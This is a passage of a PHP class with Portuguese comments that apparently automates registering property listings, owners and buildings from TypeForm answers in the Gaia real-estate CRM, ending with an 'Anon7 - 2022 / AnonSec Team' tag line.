		$this->data['txAguaSaneamento'] = '';
		$this->data['cboTituloTipo'] = 1; //TODO
		$this->data['cboDeprn'] = 'null';
		$this->data['cboProjetoAprovado'] = 'null';
		$this->data['txDocumentacao'] = '';
		$this->data['action'] = '';
		$this->data['cmbEnviarAtividade'] = 15; //TODO
		$this->data['inDiasEnviarAtividade'] = 15;
		$this->data['txTelefoneTerceiro_Default'] = '';
		$this->data['txTelefoneTerceiro'] = '';
		$this->data['idTelefones_telefone1'] = '';

		// Campos hidden do imóvel
		$this->data['hdModuloBasico'] = 0;
		$this->data['hdIdModuloBasico'] = 0;
		$this->data['hdIsAlteracao'] = 0;
		$this->data['hdAtividadeDuplicar'] = false;
		$this->data['hdIdStatus'] = 0;
		$this->data['hdValidaEndereco'] = 0;
		$this->data['hdTxReferencia'] = '';
		$this->data['hdTamanhoArquivoImob'] = 5242880;
		$this->data['hdCadastroCpf'] = false;
		$this->data['hdCodCondominioNovo'] = ''; // TODO 6645713
		$this->data['hdIdCondominioAlt'] = 0;
		$this->data['hdIdEdificioAlt'] = 0;
		$this->data['hdCoordenadas'] = '0.0000000000000000000000000,0.0000000000000000000000000';
		$this->data['hdCepReadOnly'] = false;
		$this->data['hdControleEntradaValor'] = '';
		$this->data['hdControleCkdFianca'] = false;
		$this->data['hdTotalDetalhePromocao'] = 0;
		$this->data['hdIdImovelDetalhePromocao_Default'] = 0;
		$this->data['hdAcaoImovelDetalhePromocao_Default'] = 1;
		$this->data['hdQtdChavesControle'] = 1;
		$this->data['hdAcaoImovelChave'] = 1;
		$this->data['hdIdImovelChave'] = 0;
		$this->data['hdIQuantidadeUsuarios'] = 1;
		$this->data['hdIdUsuarioImovelComissao_Default'] = 0;
		$this->data['hdAcaoUsuarioImovelComissao_Default'] = 1;
		$this->data['hdIdUsuarioImovelComissao'] = 0;
		$this->data['hdAcaoUsuarioImovelComissao'] = 1;
		$this->data['hdTotalArquivo'] = 0;
		$this->data['hdTamanhoTotalArquivo'] = 0;
        $this->data['hdEmails'] = "";
        $this->data['hdTelefones'] = "$('#txProprietario').multipePhones({
			  types: [
				  {      name: 'Tel. Residencial', id: 1, mask: '(99) 9999-9999?9', classe: 'PhoneItemResidencial'}
			,       {      name: 'Tel. Comercial', id: 2, mask: '(99) 9999-9999?9', classe: 'PhoneItemComercial'}
			,       {      name: 'Celular', id: 3, mask: '(99) 9999-9999?9', classe: 'PhoneItemCelular'}
			,       {      name: 'Rádio', id: 4, mask: '', classe: 'PhoneItemRadio'}
			  ],
			  action: function(field, redirect){ 
						   field.validInput({
							   url: 'modules/ValidaTelefoneProprietario.aspx?responseJson=true'
						   });
					   },
			  redirect: false
			});";

        // Dados do empreendimento/Edifício/Condomínio
		$this->data_empreendimento['dtCadastro'] = $now;
		$this->data_empreendimento['dtAtualizado'] = $now;
		$this->data_empreendimento['cepTipo'] = '1';
		$this->data_empreendimento['CEPValor'] = '';
		$this->data_empreendimento['cepPais'] = '1';
		$this->data_empreendimento['CEPLogradouro'] = '%5Bobject+Object%5D';
		$this->data_empreendimento['idTipoNumeracao'] = '1';
		$this->data_empreendimento['hdCoordenadas'] = '';
		$this->data_empreendimento['hdCepReadOnly'] = 'False';
		$this->data_empreendimento['hdIdEmpreendimento'] = '0';
		$this->data_empreendimento['hdQtdCasasDecimaisAreas'] = '2';
		$this->data_empreendimento['hdQtdCasasDecimaisFracaoIdeal'] = '2';
		$this->data_empreendimento['hdFoto'] = '';
		$this->data_empreendimento['hdTamanhoArquivoImob'] = '31457280';
		$this->data_empreendimento['hdTxNomeUsuario'] = 'Leonardo+Lopes+Ramos';
		$this->data_empreendimento['cboStatusComercial'] = '1'; // Manoel, deixar a opção: "Condomínios", "Condomínios (Imóveis terceiros)"
		$this->data_empreendimento['cboStatus'] = '8';
		$this->data_empreendimento['cboStatus1'] = '1';
		$this->data_empreendimento['ComboItens1'] = '0';
		$this->data_empreendimento['flPlantaoLocal'] = 'false';
		$this->data_empreendimento['cboFases'] = '1';
		$this->data_empreendimento['dtPrevisao'] = '';
		$this->data_empreendimento['dtAnoConstrucao'] = '';
		$this->data_empreendimento['txSite'] = '';
		$this->data_empreendimento['txAndares'] = '';
		$this->data_empreendimento['txUnidadesAndar'] = '';
		$this->data_empreendimento['txAdministradora'] = '';
		$this->data_empreendimento['txArquitetura'] = '';
		$this->data_empreendimento['txPaisagismo'] = '';
		$this->data_empreendimento['cboFachada'] = '1';
		$this->data_empreendimento['cboPadrao'] = '6';
		$this->data_empreendimento['txIncorporadora'] = '';
		$this->data_empreendimento['hdIdtxIncorporadora'] = '0';
		$this->data_empreendimento['txConstrutora'] = '';
		$this->data_empreendimento['hdIdtxConstrutora'] = '0';
		$this->data_empreendimento['txValorMinimo'] = '';
		$this->data_empreendimento['txValorMaximo'] = '';
		$this->data_empreendimento['txReferenciaAuxiliar'] = '';
		$this->data_empreendimento['txDescricaoInterna'] = '';
		$this->data_empreendimento['hdTorres'] = '0';
		$this->data_empreendimento['hdUnidadesInconsistenteTroca'] = '';
		$this->data_empreendimento['txNome'] = '';
		$this->data_empreendimento['txAndares'] = '';
		$this->data_empreendimento['txUnidadesAndar'] = '';
		$this->data_empreendimento['cboFase'] = '1';
		$this->data_empreendimento['dtPrevisaoEntrega'] = '';
		$this->data_empreendimento['hdAction'] = '';
		$this->data_empreendimento['hdUnidades'] = '';
		$this->data_empreendimento['txNome'] = '';
		$this->data_empreendimento['txAndares'] = '';
		$this->data_empreendimento['txUnidadesAndar'] = '';
		$this->data_empreendimento['cboFase'] = '';
		$this->data_empreendimento['hdAction'] = '';
		$this->data_empreendimento['hdUnidades'] = '';
		$this->data_empreendimento['txNome'] = '';
		$this->data_empreendimento['hdAction'] = '';
		$this->data_empreendimento['hdUnidades'] = '';
		$this->data_empreendimento['txNome'] = '';
		$this->data_empreendimento['hdAction'] = '';
		$this->data_empreendimento['hdUnidades'] = '';
		$this->data_empreendimento['txNome'] = '';
		$this->data_empreendimento['hdAction'] = '';
		$this->data_empreendimento['hdUnidades'] = '';
		$this->data_empreendimento['txNome'] = '';
		$this->data_empreendimento['hdAction'] = '';
		$this->data_empreendimento['hdUnidades'] = '';
		$this->data_empreendimento['txNomeTerceiros'] = '';
		$this->data_empreendimento['txSobrenomeTerceiros'] = '';
		$this->data_empreendimento['txContatoTerceiros'] = '';
		$this->data_empreendimento['hdContatoTerceiros'] = '1';
		$this->data_empreendimento['ddlCargoTerceiros'] = '2';
		$this->data_empreendimento['txSobrenomeTerceiros_0'] = '';
		$this->data_empreendimento['txContatoTerceiros_0'] = '';
		$this->data_empreendimento['hdContatoTerceiros_0'] = '1';
		$this->data_empreendimento['ddlCargoTerceiros_0'] = '2';
		$this->data_empreendimento['txEmailTerceiros_0'] = '';
		$this->data_empreendimento['cboSite'] = 'false';
		$this->data_empreendimento['cboDestaque'] = 'false';
//		$this->data_empreendimento['txVideo'] = '';
//		$this->data_empreendimento['txChat'] = '';
//		$this->data_empreendimento['txTourVirtual'] = '';
//		$this->data_empreendimento['txDescricoes'] = '';
//		$this->data_empreendimento['txChamada'] = '';
//		$this->data_empreendimento['txDescricaoRegiao'] = '';
//		$this->data_empreendimento['foto_destaque'] = '';
//		$this->data_empreendimento['numero_fotos'] = '0';
//		$this->data_empreendimento['hdTotalArquivo'] = '0';
//		$this->data_empreendimento['hdTamanhoTotalArquivo'] = '0';

		// Faz a busca ou cadastro de proprietário
		$this->manageCustomer();

		// Faz todas as tarefas relativas ao empreendimento (busca, cadastro)
		$this->manageEmpreendimento();

		// Trata os casos em que não foi informada a pretensão de Venda ou Locação
		$this->fixPretension();

//		dd($this->data);

		// Chama o método que fará o envio
		$this->GaiaRequest->doLogin()->sendDataImovel($this->data, $form_id);
	}

	/**
	 * Identifica o ID do corretor
	 *
	 * @param $nome
	 * @return mixed
	 */
	public function getRealtorId($nome)
	{
		$realtor = $this->GaiaRequest->findRealtor($nome);

		if($realtor) {
			return $realtor['idUsuario'];
		}

		return false;
	}

	/**
	 * Método que retorna os dados de um estado do sistema da Gaia de acordo
	 * com o UF informado.
	 *
	 * @param $state
	 * @return bool
	 */
	public function findState($state) {
		$states = $this->GaiaRequest->getStates(1);

		if ($states) {
			foreach ($states as $item) {
				if ($item['tx_uf'] == $state) {
					return $item;
				}
			}
		}

		return false;
	}

	/**
	 * Método que retorna os dados de uma cidade do sistema da Gaia de acordo
	 * com o id do estado e nome da cidade informados.
	 *
	 * @param $state
	 * @param $city
	 * @return bool
	 */
	public function findCity($state = false, $city = false) {
		$cities = $this->GaiaRequest->getCities($state, $city);

		if ($cities) {
			foreach ($cities as $item) {
				if ($item['tx_cidade'] == $city) {
					return $item;
				}
			}
		}

		return false;
	}

	/**
	 * Faz uma busca no array dos dados em busca de um field específico
	 */
	public function findFieldValue($field)
	{
		if($this->fields_values && count($this->fields_values['form_data']) > 0) {
			foreach ($this->fields_values['form_data'] as $item) {
				if (preg_grep("/{$field}/", $item)) {
					return $item;
				}
			}
		}

		return false;
	}

	/**
	 * Faz uma busca na Gaia para encontrar os dados de Estado e Cidade.
	 */
	public function findStateCity()
	{
		$cidade = $this->findFieldValue("Em que cidade fica seu imóvel?");

		if (trim($cidade['value']) == "Outra cidade") {

			$outra_cidade = $this->findFieldValue("Qual cidade seria?");

			// Trata caso o usuário informar algo além do nome da cidade
			if (strpos($outra_cidade['value'], ",")) {
				$part = explode(",", $outra_cidade['value']);
				$outra_cidade['value'] = (isset($part[0])) ? trim($part[0]) : '';
			}
			if (strpos($outra_cidade['value'], "-")) {
				$part = explode("-", $outra_cidade['value']);
				$outra_cidade['value'] = (isset($part[0])) ? trim($part[0]) : '';
			}

			if (isset($outra_cidade)) {
				$cities = $this->GaiaRequest->getCities(null, $outra_cidade['value']);
				if ($cities) {
					$distance = 1000;
					foreach ($cities as $c) {
						$levenshtein = levenshtein($outra_cidade['value'], $c['tx_cidade']);
						if ($levenshtein < $distance) {
							$distance = $levenshtein;

							$this->data['cidade'] = $c['tx_cidade'];
							$this->data['estado'] = $c['tx_abrev'];

							$this->data_empreendimento['cepEstado'] = $c['id_estado'];
							$this->data_empreendimento['cepCidade'] = $c['id_cidade'];

							$this->data_empreendimento['cidade'] = $c['tx_cidade'];
							$this->data_empreendimento['estado'] = strtoupper($c['tx_abrev']);

							$this->gaia_state_city = $c;
						}
					}
				}
			}
		}
		else {
			list($cid, $est) = explode(' - ', trim($cidade['value']));

			$this->data['cidade'] = $cid;
			$this->data['estado'] = strtoupper($est);

			$this->data_empreendimento['cidade'] = $cid;
			$this->data_empreendimento['estado'] = strtoupper($est);

			if (isset($this->data['estado'])) {
				$state = $this->findState($this->data['estado']);
				if ($state) {
					$this->gaia_state_city = array_merge($this->gaia_state_city, $state);
				}
			}

			if (isset($this->gaia_state_city['id_estado']) && isset($this->data['cidade'])) {
				$city = $this->findCity($this->gaia_state_city['id_estado'], $this->data['cidade']);
				if ($city) {
					$this->gaia_state_city = array_merge($this->gaia_state_city, $city);
				}
			}

			$this->data_empreendimento['cepEstado'] = $this->gaia_state_city['id_estado'];
			$this->data_empreendimento['cepCidade'] = $this->gaia_state_city['id_cidade'];
		}
	}

	/**
	 * Trata os casos em que o proprietário não informa no formulário do TypeForm
	 * a intenção de Compra ou Locação.
	 *
	 * Nesses casos foi decidido com o cliente que se cadastre
	 * com ambos e valor de R$ 1,00
	 */
	public function fixPretension()
	{
		if (!isset($this->data['chkPretVenda']) && !isset($this->data['chkPretLocacao'])) {
			$this->data['chkPretVenda'] = 1;
			$this->data['chkPretLocacao'] = 1;

			$this->data['txValorLocacao'] = '1,00';
			$this->data['txValorVenda'] = '1,00';

			$this->data['txDescricaoInterna'] .= ' Alerta: Proprietário não selecionou a intenção de venda ou locação.';
			$this->data['txDescricaoInterna'] .= ' Por padrão o Robô cadastrou com o valor de venda e locação de R$ 1,00';
		}
	}

	/**
	 * Faz a busca e/ou cadastro do empreendimento
	 */
	public function manageEmpreendimento()
	{
		$empreendimento = '';
		if (isset($this->data['hdNomeEdificio']) && strlen($this->data['hdNomeEdificio']) > 3) {

			// Tenta cadastrar o empreendimento na Gaia, caso o empreendimento já esteja cadastrado, o sistema
			// da Gaia irá retornar um erro com o nome correto do Empreendimento, baseado nos dados enviados.
			$result = $this->GaiaRequest->saveEmpreendimento($this->data_empreendimento, $this->data['txProprietario']);

			$pattern1 = "/alert:Já existe um empreendimento cadastrado nesse endereço. Nome empreendimento \(.*\)/";
			if ($found = preg_match($pattern1, $result, $matches)) {
				$pattern2 = "/\((.*?)\)/";
				$found2 = preg_match($pattern2, $result, $nome_empreendimento);
				if ($nome_empreendimento) {
					$this->data['hdNomeEdificio'] = $nome_empreendimento[1];
				}
			}

			// Faz a busca do Empreendimento pelo endereço (Rua, nº)
			$empreendimentos = $this->GaiaRequest->findEmpreendimentoByStreet(
				$this->data['endereco'] . ", nº " . $this->data['numero'],
				$this->gaia_state_city['id_estado'],
				$this->gaia_state_city['id_cidade']);
			$json_empreendimentos = json_decode($empreendimentos, true);

			if ($json_empreendimentos['total'] > 0) {
				if (isset($json_empreendimentos['total']) && $json_empreendimentos['total'] > 0) {
					$empreendimento = (isset($json_empreendimentos['Body'][0])) ? $json_empreendimentos['Body'][0] : false;
				}

				$empreend_cond_edif = [
					'Residencial',
					'Comercial',
					'Casas residenciais',
					'Chácaras',
					'Galpões Comerciais',
					'Hotel',
					'Industrial',
					'Prédios comerciais',
					'Prédios residenciais',
					'Edifício Residencial',
					'Terrenos ou lotes comerciais',
					'Terrenos ou lotes residenciais'
				];

				if (isset($empreendimento['dados'])) {
					// Edifício; Prédio; condomínio
					if (count(array_intersect($empreend_cond_edif, $empreendimento['dados'])) > 0) {
						$this->data['cboTipoCond'] = false;
						$this->data['txEdificio'] = $empreendimento['id']; // ++$empreendimento['id'];
						$this->data['hdNomeEdificio'] = trim($empreendimento['dados'][0]);

						$this->data['txCondominio'] = -1;
						$this->data['hdNomeCondominio'] = '';
						$this->data['cboCondominioStatus'] = 1;

						// OBS: SEMPRE ENVIAR OS DADOS DO ENDEREÇO NO CADASTRO DO IMÓVEL

						// Outros métodos de busca do Empreendimento:
						// -> findEmpreendimentoByName();
						// -> findEmpreendimentoOnlyByName();
					}
				}
			}
		}
	}

	/**
	 * Faz todo o trabalho relativo ao proprietário,
	 * busca ou cadastro caso não encontre
	 */
	public function manageCustomer()
	{
		if(!empty($this->data['idEmails_email1'])) {
			// Verifica se já existe um cliente com esse email
			$cliente = $this->GaiaRequest->getCostumer($this->data['idEmails_email1']);

			if($cliente) {
				$this->data['hdIdtxProprietario'] = $cliente['id'];
				if (isset($cliente['dados'][5])) {
					$telefones = $cliente['dados'][5];
					if (preg_match_all("/\(\d{2}\)\s\d{4}\-\d{4,5}/", $telefones, $telefones_array)) {
						if(count($telefones_array) > 0) {
							foreach ($telefones_array[0] as $i => $tel) {

								$parts = str_split($tel);
								$telefone = '';
								if (count($parts) >= 10) {
									foreach ($parts as $idx => $p) {
										if ($idx == 0)
											$telefone .= "(" . $p;
										elseif ($idx == 1)
											$telefone .= $p . ")+";
										elseif ($idx == 5)
											$telefone .= $p . "-";
										else
											$telefone .= $p;
									}
								}

								$this->data['txProprietario_telefone' . ($i+1)] = $telefone;
								$this->data['txProprietario_telefoneId' . ($i+1)] = "0," . ($i+1);
							}
						}
					}
				}
			}
			else {
				$now = date('d/m/Y');
				$this->data_customer['dt_cadastro'] = $now;
				$this->data_customer['dt_atualizacao'] = $now;
				$this->data_customer['hdTxNomeUsuario'] = 'Leonardo Lopes Ramos';
				$this->data_customer['hdPermissaoClienteUsuario'] = 3;
				$this->data_customer['id_atendimento_usuario'] = 174349;
				$this->data_customer['cboUsuario'] = 174349;
				$this->data_customer['cboUsuario_0'] = 174349;
				$this->data_customer['cboStatusCliente'] = true;
				$this->data_customer['cboUsuario_0'] = '174349';
				$this->data_customer['cboTipoCliente_0'] = '2';
				$this->data_customer['cadastroSimplificado'] = false;
				$this->data_customer['hdCadastroCpf'] = false;
				$this->data_customer['hdTamanhoArquivoImob'] = 5242880;
				$this->data_customer['hdPermissaoClienteUsuario'] = 3;
				$this->data_customer['cboInvestidor'] = true;
				$this->data_customer['txEmpresa'] = '';
				$this->data_customer['txObservacoes'] = '';
				$this->data_customer['cadastro_sem_retorno'] = 0;
				$this->data_customer['cboCondominio_'] = '0iddoCliente';
				$this->data_customer['cboGaragem_'] = 0;
				$this->data_customer['cboSuite_'] = 0;
				$this->data_customer['txAreaUtil_'] = '';
				$this->data_customer['cboAceitaFinanciamento_'] = 1;
				$this->data_customer['chkOpcao_'] = 'imobiliaria';
				$this->data_customer['cboOpcao_'] = 'imobiliaria';
				$this->data_customer['hdnRoteiroVisitaLimiteCheck'] = 12;
				$this->data_customer['hdQtdePerfis'] = 1;
				$this->data_customer['hdValores_1'] = true; //'00truetrue00';
				$this->data_customer['hdAcao_1'] = 1;
				$this->data_customer['txReferencia_1'] = '';
				$this->data_customer['hdEstado_1'] = 0;
				$this->data_customer['hdCidade_1'] = 0;
				$this->data_customer['hdZona_1'] = 0;
				$this->data_customer['cboFinalidade_1'] = 0;
				$this->data_customer['cboTipo_1'] = 0;
				$this->data_customer['cboDormitorio_1'] = 0;
				$this->data_customer['chkPretVenda_1'] = 1;
				$this->data_customer['chkPretLocacao_1'] = 2;
				$this->data_customer['txValorVenda_1'] = 'R$ 0,00';
				$this->data_customer['cboDeltaVenda_1'] = 20;
				$this->data_customer['txValorLocacao_1'] = 'R$ 0,00';
				$this->data_customer['cboDeltaLocacao_1'] = 20;
				$this->data_customer['cboStatusImovel_1'] = 1;
				$this->data_customer['txCondominio_1'] = '';
				$this->data_customer['hdIdEmpreendimento_1'] = '';
				$this->data_customer['cboCondominio_1'] = 0;
				$this->data_customer['cboGaragem_1'] = 1;
				$this->data_customer['cboSuite_1'] = 1;
				$this->data_customer['cboDeltaAreaUtil_1'] = 20;
				$this->data_customer['txAreaTotal_1']  = '';
				$this->data_customer['cboAceitaFinanciamento_1'] = 1;
				$this->data_customer['chkOpcao_1'] = 'imobiliaria';
				$this->data_customer['cboOpcao_1'] = 'imobiliaria';
				$this->data_customer['id_atendimento_status'] = 1;
				$this->data_customer['id_atendimento_usuario'] = 174349;
				$this->data_customer['dt_atendimento'] = '25/04/2017';
				$this->data_customer['dt_atendimento_alt'] = '17:16';
				$this->data_customer['id_atendimento_prioridade'] = 2;
				$this->data_customer['hdUsers'] = 1;
				$this->data_customer['hdIdUsuarioCliente'] = 0;
				$this->data_customer['hdUsuarioClienteExcluir'] = 0;
				$this->data_customer['hdUsuarioClienteAcao'] = 1;
				$this->data_customer['cboUsuario'] = 174349;
				$this->data_customer['cboTipoCliente'] = 2;
				$this->data_customer['hdClienteInativado'] = 0;
				$this->data_customer['hdIdUsuarioCliente_0'] = 0;
				$this->data_customer['hdUsuarioClienteExcluir_0'] = 0;
				$this->data_customer['hdUsuarioClienteAcao_0'] = 1;
				$this->data_customer['cboUsuario_0'] = 174349;
				$this->data_customer['txDtNascimento'] = '01/01/1990';
				$this->data_customer['rbSexo'] = 1;
				$this->data_customer['txSite'] = '';
				$this->data_customer['rbTipoPessoa'] = 1;
				$this->data_customer['txCnpj'] = '';
				$this->data_customer['txIe'] = '';
				$this->data_customer['txNacionalidade'] = 'Brasileiro';
				$this->data_customer['txNaturalidade'] = 'Londrinense';
				$this->data_customer['txComoFinanciarImovel'] = 2;
				$this->data_customer['hdFaixaRenda'] = 0;
				$this->data_customer['txValorRenda'] = '2.000,00';
				$this->data_customer['cboNivelCultural'] = 12;
				$this->data_customer['cboProcurador'] = false;
				$this->data_customer['hdCoordenadas'] = '';
				$this->data_customer['hdCepReadOnly'] = false;
				$this->data_customer['hdTotalArquivo'] = 0;
				$this->data_customer['hdTamanhoTotalArquivo'] = 0;

				$this->data_customer['hdTelefones'] = "";
				$this->data_customer['txTelefoneConjuge'] = "";
				$this->data_customer['txtTelefoneProcuradorRes'] = "";
				$this->data_customer['txtTelefoneProcuradorCom'] = "";
				$this->data_customer['txtTelefoneProcuradorCel'] = "";
				$this->data_customer['txtTelefoneProcuradorRes_1'] = "";
				$this->data_customer['txtTelefoneProcuradorCom_1'] = "";
				$this->data_customer['txtTelefoneProcuradorCel_1'] = "";

				(isset($this->data['txProprietario_telefone1'])) 	 ? $this->data_customer['idTelefones_telefone1'] = $this->data['txProprietario_telefone1'] : '';
				(isset($this->data['txProprietario_telefoneId1'])) ? $this->data_customer['idTelefones_telefoneId1'] = $this->data['txProprietario_telefoneId1'] : '';
				(isset($this->data['txProprietario_telefone2'])) 	 ? $this->data_customer['idTelefones_telefone2'] = $this->data['txProprietario_telefone2'] : '';
				(isset($this->data['txProprietario_telefoneId2'])) ? $this->data_customer['idTelefones_telefoneId2'] = $this->data['txProprietario_telefoneId2'] : '';
				(isset($this->data['txProprietario_telefone3'])) 	 ? $this->data_customer['idTelefones_telefone3'] = $this->data['txProprietario_telefone3'] : '';
				(isset($this->data['txProprietario_telefoneId3'])) ? $this->data_customer['idTelefones_telefoneId3'] = $this->data['txProprietario_telefoneId3'] : '';
				(isset($this->data['txProprietario_telefone4'])) 	 ? $this->data_customer['idTelefones_telefone4'] = $this->data['txProprietario_telefone4'] : '';
				(isset($this->data['txProprietario_telefoneId4'])) ? $this->data_customer['idTelefones_telefoneId4'] = $this->data['txProprietario_telefoneId4'] : '';

				// Salva o Cliente no sistema da Gaia
				$this->GaiaRequest->saveCustomer($this->data_customer);

				// Verifica se já existe um cliente com esse email
				$cliente = $this->GaiaRequest->doLogin()->getCostumer($this->data['idEmails_email1']);

				if($cliente) {
					$this->data['hdIdtxProprietario'] = $cliente['id'];
					if (isset($cliente['dados'][5])) {
						$telefones = $cliente['dados'][5];
						if (preg_match_all("/\(\d{2}\)\s\d{4}\-\d{4,5}/", $telefones, $telefones_array)) {
							if(count($telefones_array) > 0) {
								foreach ($telefones_array[0] as $i => $tel) {

									$parts = str_split($tel);
									$telefone = '';
									if (count($parts) >= 10) {
										foreach ($parts as $idx => $p) {
											if ($idx == 0)
												$telefone .= "(" . $p;
											elseif ($idx == 1)
												$telefone .= $p . ")+";
											elseif ($idx == 5)
												$telefone .= $p . "-";
											else
												$telefone .= $p;
										}
									}

									$this->data['txProprietario_telefone' . ($i+1)] = $telefone;
									$this->data['txProprietario_telefoneId' . ($i+1)] = "0," . ($i+1);
								}
							}
						}
					}
				}
			}
		}
	}

	/**
	 * Formata valores que serão enviados para Gaia
	 *
	 * @param $number
	 * @return mixed
	 */
	public function format($number)
	{
		if (substr_count($number, ",") > 1) {
			$fo = stripos($number, ",");
			$number = substr_replace($number, '', $fo, 1);
		}
		if (preg_match('/R\$\s?/i', $number, $m)) {
			$number = preg_replace('/R\$\s?/i', '', $number);
		}

		return $number;
	}

}

Anon7 - 2022
AnonSec Team